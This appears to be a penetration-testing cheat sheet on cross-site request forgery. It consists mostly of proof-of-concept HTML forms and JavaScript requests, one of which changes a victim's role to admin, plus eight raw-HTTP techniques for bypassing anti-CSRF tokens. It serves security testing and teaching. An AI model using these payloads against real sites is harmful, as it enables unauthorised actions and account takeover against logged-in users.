Cross Site Request Forgery (CSRF)

Introduction

Cross-Site Request Forgery (CSRF/XSRF) is an attack that forces an end user to execute unwanted actions on a web application in which they're currently authenticated

How to Find

1. HTML GET Method

<a href="http://www.example.com/api/setusername?username=uname">Click Me</a>

2. HTML POST Method

<form action="http://www.example.com/api/setusername" enctype="text/plain" method="POST">
 <input name="username" type="hidden" value="uname" />
 <input type="submit" value="Submit Request" />
</form>

3. JSON GET Method

<script>
var xhr = new XMLHttpRequest();
xhr.open("GET", "http://www.example.com/api/currentuser");
xhr.send();
</script>

4. JSON POST Method

<script>
var xhr = new XMLHttpRequest();
xhr.open("POST", "http://www.example.com/api/setrole");
xhr.withCredentials = true;
xhr.setRequestHeader("Content-Type", "application/json;charset=UTF-8");
xhr.send('{"role":admin}');
</script>

Bypass CSRF Token

1. Change single character

POST /register HTTP/1.1
Host: target.com
[...]

username=dapos&password=123456&token=aaaaaaaaaaaaaaaaaaaaaa

Try this to bypass

POST /register HTTP/1.1
Host: target.com
[...]

username=dapos&password=123456&token=aaaaaaaaaaaaaaaaaaaaab

2. Sending empty value of token

POST /register HTTP/1.1
Host: target.com
[...]

username=dapos&password=123456&token=aaaaaaaaaaaaaaaaaaaaaa

Try this to bypass

POST /register HTTP/1.1
Host: target.com
[...]

username=dapos&password=123456&token=

3. Replace the token with same length

POST /register HTTP/1.1
Host: target.com
[...]

username=dapos&password=123456&token=aaaaaa

Try this to bypass

POST /register HTTP/1.1
Host: target.com
[...]

username=dapos&password=123456&token=aaabaa

4. Changing POST / GET method

POST /register HTTP/1.1
Host: target.com
[...]

username=dapos&password=123456&token=aaaaaaaaaaaaaaaaaaaaaa

Try this to bypass

GET /register?username=dapos&password=123456&token=aaaaaaaaaaaaaaaaaaaaaa HTTP/1.1
Host: target.com
[...]

5. Remove the token from request

POST /register HTTP/1.1
Host: target.com
[...]

username=dapos&password=123456&token=aaaaaaaaaaaaaaaaaaaaaa

Try this to bypass

POST /register HTTP/1.1
Host: target.com
[...]

username=dapos&password=123456

6. Use another user's valid token

POST /register HTTP/1.1
Host: target.com
[...]

username=dapos&password=123456&token=ANOTHER_VALID_TOKEN

7. Try to decrypt hash

POST /register HTTP/1.1
Host: target.com
[...]

username=dapos&password=123456&token=MTIzNDU2

MTIzNDU2 => 123456 with base64

8. Sometimes anti-CSRF token is composed by 2 parts, one of them remains static while the others one dynamic

POST /register HTTP/1.1
Host: target.com
[...]

username=dapos&password=123456&token=vi802jg9f8akd9j123

When we register again, the request like this

POST /register HTTP/1.1
Host: target.com
[...]

username=dapos&password=123456&token=vi802jg9f8akd9j124

If you notice "vi802jg9f8akd9j" part of the token remain same, you just need to send with only static part